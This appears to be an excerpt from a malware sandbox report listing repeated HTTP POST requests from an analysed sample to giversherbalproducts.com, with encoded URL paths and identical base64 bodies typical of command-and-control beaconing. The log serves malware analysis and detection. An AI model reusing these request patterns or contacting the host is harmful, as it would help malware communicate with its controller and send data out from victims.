Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cgYjBRp4DDoYNg88ESgfHggTDw0RQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fAkNJgYyczEiIgEDQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OEN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HDMfexYCLQN8ejIsOUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OSEJRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BkN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LHsgBQ4OEg8oLiR4Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LSUDfRkPAQYVLC17IwcGAAMOHTciHiYPF39DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GxNyGCI/LH8FDn4dKhZ3Kj0CNi4fLTIHIT4+HUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HRksIwQOHDw7KBMPDCUeHgQnIxZCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fDovHR4MJAE7IAITfnhGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CH56O30eDBI7IBMIKCYBLicRLTpCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DCN9DjcGDiYmIB8OeB4gLnM/GScxBAgmCSAiBkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GXp4GXY7InglByp7GkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cgR6FBc8BHI+eUJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/P30OKQI7cygoLSMTeD8fHCgsHCpCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ISh+fnkfGH40HCgAegh7HSAtPik8JwRFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eRg9eDUFD0J9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DDMnAxgYGi8nBgg/Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HSgvFB0EKX08IDIsQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GSseOwYaIEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DT49PxcRPXl/e0J7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Dz4IBiUTPUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JAAiIH0BGjwHCQlyeiUJGz5zGjgSH3IHHB8pfEV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fhooFAMiKTgfBjwOKQgcQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MwAYeSksIBEFOEJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HT8tDxc/fwUbNR0jOyI7KggqOykYHUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OEN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eB4/OR4beD98DhsnIwV/ODMlJT8eAUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OSEJRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eAQkHAV+eTMNKy0fMy8fPnwaeUZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LHsgBQ4OEg8oLiR4Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AQh6RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GxNyGCI/LH8FDn4dKhZ3Kj0CNi4fLTIHIT4+HUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fDovHR4MJAE7IAITfnhGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eTAldSQqE38hADgEe38beDBCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DCN9DjcGDiYmIB8OeB4gLnM/GScxBAgmCSAiBkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/D38DRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cgR6FBc8BHI+eUJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KhMvezsNORl8CT0dCAg1e3wyI3skOjMDBHN+LUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
